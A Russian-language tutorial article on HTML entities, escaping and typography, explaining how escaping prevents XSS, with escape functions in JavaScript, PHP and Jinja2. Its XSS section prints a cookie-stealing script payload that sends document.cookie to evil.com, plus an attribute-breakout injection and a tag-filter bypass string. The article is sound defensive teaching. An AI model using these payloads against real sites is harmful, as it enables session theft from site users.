Все статьи
Кодирование

HTML сущности и кодирование спецсимволов

HTML entities, named vs numeric, XSS защита, кодирование кавычек, амперсандов, угловых скобок.

16 февраля 2025
7 мин чтения
ConvertHub
#html#entities#xss

Введение

HTML — язык разметки, в котором некоторые символы имеют особое значение. Угловые скобки< и > обозначают теги, амперсанд &запускает сущность, кавычки отделяют значения атрибутов. Если эти символы нужно показать как обычный текст, их приходится «экранировать» — заменять специальными последовательностями, которые называются HTML сущностями (entities). В этой статье разберёмся, как устроены HTML entities, какие бывают виды, при чём тут XSS и почему экранирование — основа безопасности любого веб-приложения.

Для практической работы используйте наши инструменты: HTML кодировщик и HTML декодер.

Что такое HTML сущности

HTML сущность — это последовательность символов, которая начинается с амперсанда (&), заканчивается точкой с запятой (;) и между ними содержит либо имя сущности, либо числовой код символа. Когда браузер встречает такую последовательность в тексте страницы, он заменяет её на соответствующий символ.

Например, чтобы вывести на странице текст «5 < 10», в HTML нужно написать:

<p>5 &lt; 10 — это истина.</p>

Если бы мы написали 5 < 10без экранирования, браузер попытался бы разобрать «< 10 — это истина.» как тег и получился бы мусор.

Виды HTML сущностей

Именованные сущности (named entities)

Самые известные сущности имеют человекочитаемые имена. Их удобно запоминать и использовать вручную. Вот основные:

СимволИмя сущностиОписание
&&amp;Амперсанд
<&lt;Меньше
>&gt;Больше
"&quot;Двойная кавычка
'&apos;Одинарная кавычка
&nbsp;Неразрывный пробел
©&copy;Знак копирайта
®&reg;Знак торговой марки
&trade;Знак торговой марки (TM)
&euro;Знак евро
&mdash;Длинное тире
&ndash;Короткое тире
«&laquo;Левая «ёлочка»
»&raquo;Правая «ёлочка»
&bdquo;Нижняя кавычка
&ldquo;Верхняя кавычка
±&plusmn;Плюс-минус
°&deg;Градус
&rarr;Стрелка вправо

Числовые сущности (numeric entities)

Любой символ Unicode можно представить числовой сущностью. Есть два формата:

  • Десятичный: &#NNN;, где NNN — десятичный код символа в Unicode. Например, &#169; → ©, &#8212; → —.
  • Шестнадцатеричный: &#xHHH;. Например,&#xA9; → ©, &#x2014; → —.

Числовые сущности универсальны: они позволяют вывести любой символ, даже если для него нет именованной сущности. Это особенно удобно для экзотических символов — эмодзи, иероглифов, математических знаков. Подробнее о Unicode читайте в нашей статье о кодировке UTF-8.

Зачем нужно экранирование

1. Корректное отображение спецсимволов

Чтобы показать на странице текст, содержащий угловые скобки или амперсанд, эти символы нужно экранировать. Иначе браузер неправильно их интерпретирует и разметка «поедет».

<!-- Хочу показать: используйте тег <div> -->
<p>используйте тег &lt;div&gt;</p>

2. Неразрывные пробелы и типографика

&nbsp; — это не обычный пробел, а неразрывный. Между словами, соединёнными таким пробелом, браузер не переносит строку. Это полезно для инициалов («И. И. Иванов»), чисел с единицами измерения («10 кг»), сокращений («и т. д.»).

3. Защита от XSS

Главная с точки зрения безопасности причина. XSS (Cross-Site Scripting) — это атака, при которой злоумышленник внедряет в страницу свой JavaScript код. Если вы выводите на страницу данные, введённые пользователем (комментарии, имена, поисковые запросы), и не экранируете их — атакующий может выполнить любой скрипт в браузере других пользователей.

XSS: как это работает

Представьте простой форум. Пользователь вводит сообщение, оно сохраняется в базе и показывается другим. Если не экранировать ввод, атакующий может отправить такое сообщение:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

Когда другой пользователь откроет страницу с этим сообщением, браузер выполнит скрипт, и куки-файлы жертвы будут отправлены на сервер злоумышленника. Это классический stored XSS.

Чтобы его предотвратить, нужно экранировать минимум четыре символа:

СимволЗаменить наПочему
&&amp;Чтобы не запустить сущность
<&lt;Чтобы не открыть тег
>&gt;Чтобы не закрыть тег
"&quot;Чтобы не выйти из атрибута
'&#x27;То же для одинарных кавычек
/&#x2F;Защита от закрытия тега в некоторых контекстах

После экранирования опасный скрипт превращается в безобидный текст:

&lt;script&gt;fetch('https://evil.com/steal?cookie=' + document.cookie)&lt;/script&gt;

Браузер покажет его как обычный текст, и скрипт не выполнится. Подробнее о защите веб-приложений — в статье о лучших практиках безопасности.

Контекст экранирования

Правила экранирования зависят от того, где именно в HTML вставляется данные. Различают несколько контекстов:

Текст элемента

<p>Привет, {userName}!</p>

Здесь нужно экранировать &, < и >.

Значение атрибута в двойных кавычках

<input value="{userInput}">

Здесь критически важно закодировать двойную кавычку. Если её не экранировать, атакующий может закрыть атрибут и добавить свой: " onfocus="alert(1).

Значение атрибута в одинарных кавычках

Аналогично, но экранировать нужно одинарную кавычку.

Атрибут без кавычек

Крайне не рекомендуется. Любое значение с пробелом или спецсимволом сломает разметку.

Внутри <script> или <style>

Здесь правила совершенно другие. HTML entities не работают внутри JavaScript — нужно использовать JSON-кодирование и специальные приёмы. Например, последовательность</script> в любой позиции внутри скрипта закроет тег.

HTML экранирование в разных языках

JavaScript (browser)

function escapeHtml(str) {
  const div = document.createElement('div');
  div.appendChild(document.createTextNode(str));
  return div.innerHTML;
}

escapeHtml('<script>alert(1)</script>');
// "&lt;script&gt;alert(1)&lt;/script&gt;"

JavaScript (Node.js)

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// Или использовать готовую библиотеку:
// import escape from 'lodash.escape';

Python (Jinja2)

{# Jinja2 автоматически экранирует в шаблонах #}
<p>{{ user_input }}</p>

{# Если нужно вывести HTML как есть: #}
<p>{{ user_input | safe }}</p>

PHP

<?php
// Для текста в элементах:
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Для атрибутов:
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');

Типографика и HTML сущности

Помимо защиты от XSS, HTML entities полезны для правильной типографики. В русском языке принято использовать «ёлочки» вместо прямых кавычек, длинное тире (—) вместо дефиса в роли тире, неразрывный пробел перед «и т. д.». Все эти символы можно набрать непосредственно (если файл сохранён в UTF-8), но иногда удобнее использовать сущности.

Что нужноСимволСущностьПример
Неразрывный пробел &nbsp;10&nbsp;кг
Длинное тире&mdash;Привет&mdash;как дела?
Левая «ёлочка»«&laquo;&laquo;Война и мир&raquo;
Правая «ёлочка»»&raquo;
Мягкий перенос­&shy;длинно&shy;слово

Распространённые ошибки

1. Двойное экранирование

Если пропустить уже экранированную строку через функцию экранирования ещё раз, амперсанды превратятся в &amp;, и пользователь увидит на странице буквально «&amp;lt;». Это частая проблема при использовании нескольких слоёв шаблонизаторов.

2. Использование strip_tags вместо экранирования

strip_tags удаляет теги, но не экранирует атрибуты. Атакующий может обойти фильтр хитрыми комбинациями вроде <scr<script>ipt>. Никогда не полагайтесь на чёрные списки тегов — экранируйте всё.

3. Забыли экранировать атрибут

Многие фреймворки автоматически экранируют текст, но не атрибуты. Если вы вставляете данные в data-* или value, обязательно проверьте, что экранирование применено.

4. Использование «волшебных кавычек»

Устаревшие настройки PHP вроде magic_quotes_gpc добавляли слэши к вводу, что ломало экранирование HTML. В современных версиях PHP этой настройки нет, но принцип актуален: всегда экранируйте данные в момент вывода, а не на этапе приёма.

HTML entities и SEO

Поисковые системы, включая Yandex, прекрасно понимают HTML entities — как именованные, так и числовые. Поэтому выбор формата — вопрос удобства, а не SEO. Однако есть нюанс: если вы используете кириллицу, её можно набирать непосредственно (в UTF-8), а можно представить числовыми сущностями. Первый вариант делает HTML легче и читабельнее, второй — наоборот, раздувает страницу и затрудняет отладку.

Сравните:

<!-- Читаемо, легко -->
<p>Привет, мир!</p>

<!-- Технически тоже верно, но нечитаемо -->
<p>&#1055;&#1088;&#1080;&#1074;&#1077;&#1090;, &#1084;&#1080;&#1088;!</p>

Используйте числовые сущности только тогда, когда это действительно нужно — например, когда CMS или шаблонизатор некорректно обрабатывает UTF-8. В обычных условиях пишите символы напрямую, а экранируйте только пять опасных символов.

Заключение

HTML сущности — простой и надёжный способ корректно отображать спецсимволы и защищать веб-страницы от XSS-атак. Запомните главное: экранируйте &,<, >, " и ' всегда, когда выводите на страницу данные, которым не доверяете. Используйте встроенные функции своего фреймворка, не пишите свои велосипеды — это слишком важная часть безопасности, чтобы оставлять её на ручную обработку.

Для быстрого экранирования и обратного декодирования используйте наши инструменты: HTML кодировщик и HTML декодер. А если хотите понять, как HTML entities соотносятся с другими видами кодирования — загляните в наш сравнительный обзор.

Попробуйте эти инструменты

Похожие статьи